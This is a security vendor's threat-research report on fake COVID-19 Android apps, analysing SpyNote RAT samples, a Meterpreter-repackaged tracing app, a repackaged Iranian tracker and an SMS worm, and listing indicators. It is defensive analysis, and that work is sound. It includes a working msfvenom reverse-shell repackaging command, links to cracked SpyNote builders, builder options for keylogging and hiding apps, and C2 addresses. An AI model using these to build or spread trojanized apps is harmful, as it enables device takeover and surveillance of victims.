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FAKE COVID-19 APPS HIT ANDROID DEVICES WITH  
SPYWARE, RATS AND OTHER TYPES OF MALWARE 

SYNOPSIS  

In the context of the global pandemic, it is expected that some threat actors will try to 
take advantage of the huge interest in COVID-19 news and create fake covid-
themed android apps.  

Searching through our telemetry data we found that a large percent of covid-
themed apps are indeed malware. Here we examine which types of malware are 
commonly found in these apps, what risks they pose, and data such as prevalence, 
number of infected devices, and geographic targets.  

HUNTING FOR COVID-19 APPS  

We selected apps containing “covid” or “coronavirus” in the package name, application 
label, filename, or download URL. The resulting set contains 2,293 apps, which were 
downloaded for further analysis, together with the relevant metadata.  

ANALYZING THE DATA  

Out of our set, 447 applications (19.5 %) turned out to be malicious, which is concerning 
as at first glance it may appear that by downloading a Covid-themed app you 
have roughly a 20% chance of your device becoming infected. A closer look at the data 
reveals more details – some malicious apps pose a greater risk than others, some are 
targeting specific countries and the risk depends a lot on where the file is downloaded 
from.   
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Geographical data  
The top 10 countries by number of affected users are:  

1. United States  

2. Italy  

3. Germany  

4. Luxembourg  

5. Mexico  

6. India  

7. Kazakhstan  

8. Argentina  

9. Iran  

10. United Kingdom  

  

 

In the United States, most affected are:  

1. California  

2. Virginia  

3. Indiana  

4. Texas  

5. Washington  

6. Ohio   

7. Kansas  
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Affected devices  
From our telemetry we found a total of 3,653 devices that attempted installation of one 
of the malicious variants identified in our set. Looking at the distribution over time we 
can see 3 spikes: one in May of 2020, another in December of 2020, and the 3rd one 
forming in May 2021.  

  

Blue bars are the unique device counts. Green line is a moving average 

The last spike is mostly due to the GoodNews SMS Worm targeting India (more details 
below) amid the new wave of COVID-19 cases hitting this country.  

  

Infection vectors  
Since most installations occurred outside the Google Play Store, we couldn’t gather 
meaningful data from source URLs. However, we did identify some sources based on 
APK installation path on storage media and analysis of source code:  

• Downloaded via browser, resulting from Malvertising campaigns:  

/storage/emulated/0/Download/.com.google.Chrome.ANHFkX  

/storage/3309-6DD7/Download/Download/930701999_8.apk  
 



 

 
 

© Copyright 2021 NortonLifeLock Inc. All rights reserved.  |.  FAKE COVID-19 APPS HIT ANDROID DEVICES WITH  SPYWARE, RATS 
AND OTHER TYPES OF MALWARE  |  5/10/2021 

4 

 

• Sharing via popular cross-platform sharing apps:  

/storage/emulated/0/SHAREit/apps/AC19.apk  
 

• Link sent via social media or messaging apps:  

/storage/emulated/0/Telegram/Telegram 
Documents/4_6021726212655678922.apk  

 

• Link sent via SMS message:  

REGISTER FOR VACCINE NOW age starting 18+ Register for vaccine 
using VaccRegis app. Download link below. Link: http://tiny.cc/COVID-
VACCINE  

 
 

Most prevalent families  
Most malicious files found in our set are part of one of these 4 families:  

• SpyNote  - A lightweight Android RAT based on Java (example package 
name: com.covidtz.suffix)  

• Metasploit payloads - Persistent backdoor usually created with Kali (example 
package name: it.softmining.projects.covid19.savelifestyle)  

• Iran's official COVID tracker - taken down from Play Store, accused of collecting 
phone numbers and real-time geo location data (example package 
name: co.health.covid)  

• GoodNews SMS Worm – a Selfmite successor targeting India and JIO operator’s 
users.  

Next we examine samples of these families in-depth and discuss the risks associated 
with each of them.  
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SPYNOTE  

SHA256: 03d2925b88b48f8c535913828e7f865c768956ead321c9281c69f80ef94878cc  

Package: “com.covidtz.suffix”  

OVERVIEW OF SPYNOTE CONTROLLER  

SpyNote is a remote administration tool (RAT) which can perform multiple function such 
as collecting phone info, call logs, SMS, contact info, capture camera and video, 
geolocation, change wallpaper, record keystrokes, execute arbitrary commands, and 
download and install files onto a device. It then sends the collected information to a 
remote command and control (C&C) server.  

There are many open-source versions of SpyNote readily available for 
deployment comprising the control panel, payload generation module, etc. Also, the 
commercially available package from “spynote[.]us” offering multiple functionalities as 
shown below:  
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While a commercial license for SpyNote v6.5 costs 500$, there are many versions 
available on GitHub  

 
hxxps[:]//github[.]com/githuob/SpyNote-v6.5-Cracket-
2020/blob/master/SpyNote%20v6.5%20BlackEdition.rar  

  

SpyNote v6.5 - hxxps[:]//github[.]com/hamzaharoon1314/SpyNote  

SpyNote v6.4 - hxxps[:]//github[.]com/Thirder/SpyNote-1   

SpyNote v5 - hxxps[:]//github[.]com/RTX4444/spynote  

INSTALLATION OF SPYNOTE RAT APPLICATION   

We installed SpyNote v6.5 BlackEdition.rar in a Virtual Machine to understand its 
behavior. The file contains an executable application “SpyNote v6.5 BlackEdition.exe” 
which installs the SpyNote application.  

  

SHA256: 
F667B397E84DFAFEFE28C09F6048448F06BF2333651C4BA92073302E4A914563  

  

The file contains the control panel as shown below to receive data through specific port. 
It has list of details collected from victim’s device such as image, victim name, 
country, flag, remote address, model, version, API, SMS, calls or keystrokes. In addition 
to the data, it also has function to generate payload and deploy in connected devices.  
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The application provides functions to generate payload and has customizations such 
as hide application, accessibility (Keylogger), deactivate icons, device administration, 
permission root super user, DNS info, app info, merging app (Repacking legitimate 
apps). It builds the Android SpyNote code into apk file. The DNS Info field has option to 
provide the C2 address and port number which is used by the SpyNote Android 
application to communicate and send the collected information to the C&C.   

The payload tool for creating SpyNote Android application builds can be customized 
by specifying the features highlighted below. Those features include hiding the 
application after install, using the Accessibility service to log keystrokes, get device 
admin privileges, and gain super user access to the device.  
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Once the app is built, it is ready to be deployed in Android devices. The interface has 
options to search for nearby devices to deploy the SpyNote app   
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SPYNOTE PAYLOAD FILE ANALYSIS:  

For illustration purposes we used a legitimate covid19 app “com.coffye.covid” 
(db7f2b08957fa1564d11dbdfbe9a901f956061734e078f06a3bfc4a73fd2d1bb) and 
repackaged it using the SpyNote Builder. The builder generates the SpyNote Android 
application with the package name "cmf0.c3b5bm90zq.patch" 
(eca23b9f5a3fdef97b79ec2039342c8e813c0be6db11ebbc3d2953363da26993)  
 

We also customized the payload using these options in the builder:  DNS Info, Hide 
application, Device Admin Privilege, Accessibility service (keylogger).   

 

Next we analyzed the payload application cmf0.c3b5bm90zq.patch. It requests a huge 
set of permissions including  call logs, Capture Camera and Video, SMS info Contact, 
Device info, Wallpaper, Geolocation, Account Info, Device Admin privileges, Install other 
apps, execute arbitrary commands, etc  

  

 The SpyNote obfuscated class names and variable names  
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The C2 configuration details are present in the resource strings file. The below shows 
the C2 Address, Port and other configuration details provided in the SpyNote builder.   

  

The application collects the user and device information and sends it to C2 server. After 
the data is sent the execution control is transferred to the original app 
“com.coffye.covid”. The original application is stored in the res/raw location with name 
“google.apk”. This is invoked in the SpyNote code using the function 
openRawResource() which installs the application using the package manager 
command “pm install -r “  
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The SpyNote development is evolving with added functionality and features. The 
interface allows the attacker to inject the malicious SpyNote code with ease and deploy 
in Android devices. SpyNote continues to be top threat in recent times.  

ANALYSIS REPORT OF “COM.COVIDTZ.SUFFIX”  

The application CovidTZ was primarily hosted on the 
URL  “hxxps://pataraha[.]com/apps/downloads/covid_tz.apk“ which comes as fake 
pharmacy web site. The application CovidTZ uses the “Bowl of Hygieia” logo which 
has traditionally been associated with pharmacies.  Upon execution it removes the 
shortcut from the location and runs in the background as service.  
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Permissions:  

The app requests huge set of permissions.  
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Code obfuscation Technique:  
The application’s class names, variable names, resource strings are obfuscated with 
custom obfuscation tools such as Obfuscapk 
“https://github.com/ClaudiuGeorgiu/Obfuscapk”  

The app is compiled with the ["dexlib 2.x”]  

  

Obfuscapk:  
  

  

  

It supports the following obfuscation  
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AdvancedReflection, ArithmeticBranch, CallIndirection, DebugRemoval, Goto, MethodO
verload, Nop, Reflection, Reorder, Virustotal, ClassRename, FieldRename, 
MethodRename, RandomManifest, NewAlignment, NewSignature, Rebuild, 
ConstStringEncryption  

  

Functionalities of SpyNote  

Based on the permissions, we could see it has the functionality to collect the below 
information such as   

• Call Logs  

• SMS Information  

• Contact Information  

• Phone Information  

• Captures Camera Image & Video  

• Geolocation  

• Change Wallpaper  

• Keystrokes  

  

It also has functionality to execute commands and install packages/load dex files in 
runtime and send data to C2 server.  

  

Monitor WIFI State:  
The application monitors the WIFI state so as to see if its connected, and it 
opens webview in hide mode and tries to connect to C2 to fetch the contents. 
The application creates a WIFI Wake lock with Tag name “3pMBY” 
to monitor the WIFI connectivity and tries to enable it in order to connect to domain  
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Remote Connection:  
The C2 Address & Port number is encrypted and stored in strings file. It communicates 
with the C&C server using the IP Address “40.114.11.110” and port “7774”  

 

Accessibility Service:  
The application binds to Accessibility service and runs as a service. It monitors list of 
events through this service and uses it for capturing keystrokes data. More recently 
many malware applications started abusing the accessibility service.  

  

  

The below code uses the function getEventType() to collect the type of events such as 
TYPE_VIEW_CLICKED, TYPE_VIEW_LONG_CLICKED, TYPE_VIEW_SELECTED, 
TYPE_VIEW_FOCUSED, TYPE_VIEW_CHANGED and uses the getText() function to 
get the text of the events.  
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GeoLocation:   
This service checks if the device is connected in GPS network, and if connected it 
collects the location information such as latitude, longitude, accuracy, speed.  
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Capture Camera Image and Video:  
There is a foreground service 
“com.covidtz.EhseDycaTzddiiihhDIw326” which implements a callback function to bind 
to the service. Video recording is done using the setFocusMode (“continuous-video”) 
function. The app opens the camera and sets preview size to capture the image in order 
to get better quality image. The captured image is compressed using the library 
“YuvImage. compressToJpeg”. It checks whether the device is connected to Wifi to 
send the collected data, and it checks for the bandwidth bit rate in order to transmit the 
data to remote server.   
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Specific Bandwidth Bit rate:  

  

Connection to remote server:  
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Resource Obfuscation:  
The configuration information is AES Encoded, the image below shows the encoded 
strings. The encrypted strings are handled by the decryptString function.  
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The library com.decryptstringmanager can also be seen in the Android obfuscation 
framework obfuscapk which is used for the “contStringEncryption” Obfuscation  

  

We can see the string encryption function used in the decryptstringmanager library 
in the Obfuscapk Framework  
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We hooked the function decryptString() to uncover the encrypted strings. After decoding 
the strings using the decryptString() function they become visible:  

  

  

CONCLUSION:  

SpyNote has evolved with many changes such as :  

• quick build interface and deployment   

• additional features of collecting data   

• additional level of obfuscation in order to make analysis more difficult   

As the entire process is quick to setup and deploy, SpyNote has become a popular 
target to use as Covid 19 themed malware.   

Such repackaged applications could trick the user into allowing an attacker to remotely 
control the device by leveraging SpyNote functionality.  

It is not a surprise to see attackers targeting the covid19 related applications as 
the number of users installing such applications are higher during peaks 
of Covid pandemic.  
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METASPLOIT PAYLOAD 

SHA256: 148bd4dfa894874f0c35b885d22903e79506d7b98f65be9bbee4e80af15cee84  

Package Name: it.softmining.projects.covid19.savelifestyle  

  

OVERVIEW  

The application “SM_Covid19” from Softmining Srl which is a company based in Italy is 
primarily focused on Drug design services & AI methods.  

  

The contact tracing application developed by Softmining is repackaged 
with a Meterpreter module. By Looking at the code it can be clearly seen that the 
repackaged app is developed using the Metasploit framework to inject the Meterpreter 
payload into the application.  

  

PAYLOAD GENERATION:  

The Metasploit Framework provides functionality to inject the payload into a target 
Android Application. Using the simple msfvenom command the reverse tcp connection 
code can be injected into the Android application. Below shows the command 
for an Android Meterpreter module as taken from Github.  
msfvenom -p android/meterpreter/reverse_tcp -x com.existing.apk LHOST=[IP] LPORT=4444 -f raw -o 
/tmp/android.apk  

  

In order to make it harder to detect the Android Meterpeter is repackaged 
into a legitimate application. Once the application is installed, it creates a 
reverse tcp shell to the remote IP & port, opening a backdoor to execute arbitrary 
commands such as ls, cat, upload, download, ps, getuid, 
shell, sysinfo, webcam_list, record_mic, check_root, dump_contacts, dump_calllog, sms
_dump, geolocate, send_sms, etc  

  

ANALYSIS DETAILS:  

The contact tracing app can be found in Google Play Store Cache, it is currently not 
present in Google Play Store.   
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There is a domain “smcovid19[.]org” having information about the application. The 
link to download the application from PlayStore no longer works.  

Shortcut icon of SM_Covid19  

   

The original SoftMining application SM_Covid19 prompts the Data Protection Consent 
EULA to user as shown above.  

  The Android Meterpreter module is located in a separate Classes.dex file which is 
triggered using the Multidex.Install() function. Multidex is used when the methods or 
function exceeds the 65k limit in a Dex file, and the remaining code is compiled into 
another Dex file.   The original applications modules are present in classes2.dex.   

It acquires a WakeLock in order to keep the device awake  

  

The application starts the service “Dgmhk” after system boot in order to remain 
persistent. It checks the BOOT_COMPLETED intent to see if device is rebooted.  
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Payload Module:  
The Android Meterpreter payload module is present in the class “Xpkde”. The payload 
class contains the code to create a reverse tcp connection.  

  

Decryption of Remote IP and Port: 
The Remote IP and Port for the ReverseTcp connection is stored in byte 
array “a[]” which is passed to function for decoding.  
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The function to decode the remote IP and port is present in the Class b. The encoded 
byte array is passed to the function to get the cleartext values.  
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After the byte array is decoded we find the remote IP “tcp://95[.]239[.]79[.]156” 
and port 24079 for the reverse tcp connection.   

  

  

Reverse Tcp:  
The malware uses the most common reverse tcp shell generated from the Metasploit 
Framework. It creates a shell available to the attacker. The below code establishes 
connection to the remote server and accepts connection on the port.  
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The attacker can then use commands such as ls, cat, upload, download, ps, getuid, 
shell, sysinfo, webcam_list, record_mic, check_root, dump_contacts, dump_calllog, sms
_dump, geolocate or send_sms.  

The Meterpreter also has a function to install the packages sent to victim devices from 
Remote server. It initially parses the ‘JAR’ package in order to load the ‘DEX’ 
file

  

The below code checks for the intent “android.intent.action.MAIN” and 
“android.intent.category.LAUNCHER” from the application to launch the package main 
activity. It sets the setting for installing package component using 
the setComponentEnabledSetting() which uses the flag value 
“COMPONENT_ENABLED_STATE_DISABLED” and “DONT_KILL_APP” flag  

CONCLUSION:  

Even though Meterpreter and ReverseTcp are pretty old techniques, they can be useful 
to quickly build,deploy and repackage legitimate applications with a payload. Such 
repackaged applications cause serious risk to the user, allowing the device to 
be controlled by an attacker.   
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COVID TRACKER  

  
Sha256: 007fdc039255d74bdb807f74ce764195727e179ceedebb707a053063a2f992a5  
Package Name: co.health.covid  
  

OVERVIEW  

The application AC19 (Application Against Coronavirus) is developed by Corona 
Disease Management Operations Command Headquarters in Tehran 
by the Iranian Government. This application is repackaged and distributed 
by an unknown developer. It is available for download in the CafeBazaar app portal 
“cafebazaar[.]ir/app/co.health.covid?l=en” installed through 
bazaar://details?id=co.health.covid&ref= and also through the site “hxxp://ac19.ir/app” 
download link “hxxps://dl.ac19.ir/ac19[.]apk”  

  

  

It provides users with a covid-19 self-assessment test containing a set of questions that 
ask about: symptoms, provide medical assistance, and measures. It collects 
user location info, device 
information, birthdate, gender, user location, mobile number, weight, height, and origin. 
The application was removed from the Google Play Store.  
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Permissions:  

The application collects the below set of permissions 

  
ANALYSIS DETAILS:  

The application AC19 is used for taking a COVID-19 self-assessment test and to check 
whether the user has any COVID-19 symptoms and can advise on any measures or 
medical assistance that may be required. It has the functionality of 
requesting permissions dynamically. It connects to the site “ac19.ir” to register and get 
the questions for checking of COVID-19 Symptoms. It collects user and device 
information which is sent to suspicious remote server “covid19[.]tfone[.]ir”.   

Signer Information:  

The application downloaded from hxxps://dl.ac19[.]ir/ac19[.]apk has Issuer Name 
“Cristian Noro”  

SHA256: 0f73ac8839f153cf0e830554d9b34af2ea90fd6514ed3992b66a96bc9c12bb4b  
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The repackaged app is signed by a randomized Issuer Name ex: “Lyman Loreen”, 
“Vivianna Iana”, etc for each apk file.  
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Shortcut “AC19” of application “co.health.covid”  

  

After installing the application, it prompts the user to register by providing the mobile 
number. The application uses Google’s messaging service for sending verification 
messages to user.   

It uses the intent “com.google.android.gms.auth.api.phone.SMS_RETRIEVED” to 
receive the verification message. In general an app requests the permission 
“android.permission.READ_SMS” or  “android.permission.RECEIVE_SMS“ to read 
incoming messages, but if an application doesn’t need to read messages other 
than for the purpose of verification of the mobile number/user message there is a way 
out. Google has come up with the functionality called SMSRetriever; an SMS 
Verification system. The application must define the 
“com.google.android.gms.auth.api.phone.SMS_RETRIEVED” and use the function.  

  

The malware checks for verification SMS and hash string “oFtE2uz27HI” which is a 11-
character string for application identification.   
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Google Firebase Cloud Database storage:  
The collected information is stored in a database hosted in Google Firebase 
“hxxps[:]//covid-19-e9057.firebaseio.com”  

Dynamic Permission Model:  
The application uses Dynamic permission model rather than requesting all the 
permissions from the user during installation. This is done using the 3rd party 
library Karumi Dexter. This provides leverage for an app to request permission as and 
only when it requires certain permission to perform functionality.  

  

Device and User Information:  

The malware collects user details such as gender, date of birth, location 
information, mobile, name, height, origin, and weightwhich is sent along with device 
info to the remote server “covid19.tfone.ir”  
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It first checks whether the device is connected to network and GPS is enabled so that it 
can collect Location information such as latitude and longitude.   
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It contains a json file in asset “convertcsv.json” which contains information such 
as state, city, latitude, longitude. Looks like this latitudes & longitudes information 
corresponds to list of users pertaining to COVID-19. This information is shown to the 
user as COVID-19 Hotspots.  

  

Ex: Image from Google Map for latitude:37.388331 & longitude:48.71865  
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The site “ac19.ir” Corona Virus control system is used to register the user and asks sets 
of questions to provide medical solutions.  

  

CONCLUSION:  

The repackaged app collects user and device information for the reason of tracking 
covid-19 sufferers.  The causes of concern are data being sent to suspicious domain 
“covid19.tfone[.]ir” and application being repackaged by unknown developers. The 
collected information could be used for further surveillance of the users.  
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GOODNEWS SMS WORM  

SHA256: a25363b68faa8188b99622d8909921a4026ea7241df6377d0a6374d2b2b4e08
c  

Package: “com.oncamra.sevendra”  
  

OVERVIEW  

This is a new campaign targeting end-users in India and JIO mobile operator, the malware is 
claiming to help users register for COVID-19 vaccination.  The malware spreads via SMS and 
WhatsApp links.  

  
Behavior  
At installation time we can see a red covid logo, the “Vaccine Register” application label, and 
the application does not seem to request any special permissions  :

   
However immediately after running it these permissions are requested :  

• access to contacts  
• send and view SMS messages  
• make and manage phone calls  
• access device location  
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Decompiling the application we find the code requesting the permissions:  
 

  
After the permissions are granted, it asks to input the phone number for registration and starts 
the malicious service ghaluuu:  
  

  
Here we can see code remnants from older versions of this malware, which had the contents of 
the SMS message encrypted with AES, however this version has it hardcoded in plain text 
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without any encryption, the decryption routine is still there but no longer used. The message 
reads:  
"REGISTER FOR VACCINE NOW\nage starting 18+ Register for vaccine using VaccRegis app.Download link below. 
Link: http://tiny[.]cc/COVID-VACCINE"  
Before sending the SMS message, the malware first will check for :  

• Operator name using getNetworkOperatorName() from TelephonyManager  
• Entered phone number being a valid subscriber of JIO service, via a request 
to "https://www.jio.com/api/jio-recharge-service/recharge/mobility/number/" + number  
• Presence of JIO special short numbers in the contacts   
• Contacts starting with “91”, will only send the message to those contacts 
(targeting India)  

The app will also display some ads using StartAppSDK :  
 

  
  
From our telemetry data we found cases where the app was being installed after clicking on a 
WhatsApp link, and indeed we can see the app requesting that the user share the app via 
WhatsApp 10 times before starting registration :  
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Looking at the code we can see that the app is not being shared automatically via 
WhatsApp and also no checks are being done to see if the link is actually shared. The code just 
copies a message to the clipboard and creates a counter that decreases each time the user 
presses the OK button. This is just a simple way of relying on the user to share the message.   
The WhatsApp message is slightly different then the SMS one :  
 
"*Register for Vaccine Now from age 18+* *No Fees will be taken.* * It\'s absolutely Free.* *Download VacciRegis android 
app and Register for vaccine in India. Link:* http://tiny.cc/COVID-VACCINE"  
   

  
After the counter reaches 0, the app will use the browserIntent to open the browser app and 
navigate to https://selfregistration.cowin.gov.in/ :  
 

  
This is the link for the official page of India Ministry of Health and Family Welfare, where actual 
registration for Covid19 vaccinations can be done :  
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CONCLUSIONS:  

This malware can be classified as both a Fake App and a wormable SMS trojan 
because of its SMS and WhatsApp spreading functionality.  

Revenue is generated via the displayed StartApp ads.  

The success of this malware is because it delivers on the user’s expectations – the user 
expects that it will be able to register for Covid19 vaccination using the app, and after 
going through the entire process he can actually register from the official page which 
opens in the browser window.  
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IOCS – EXAMPLE HASHES   

Covid-19 MetaSploit Application - 
148bd4dfa894874f0c35b885d22903e79506d7b98f65be9bbee4e80af15cee84  

  

Covid-19 SpyNote Application - 
03d2925b88b48f8c535913828e7f865c768956ead321c9281c69f80ef94878cc  

  

Covid-19 Tracker Application - 
007fdc039255d74bdb807f74ce764195727e179ceedebb707a053063a2f992a5  

 

Covid-19 GoodNews SMS Worm - 
a25363b68faa8188b99622d8909921a4026ea7241df6377d0a6374d2b2b4e08c  
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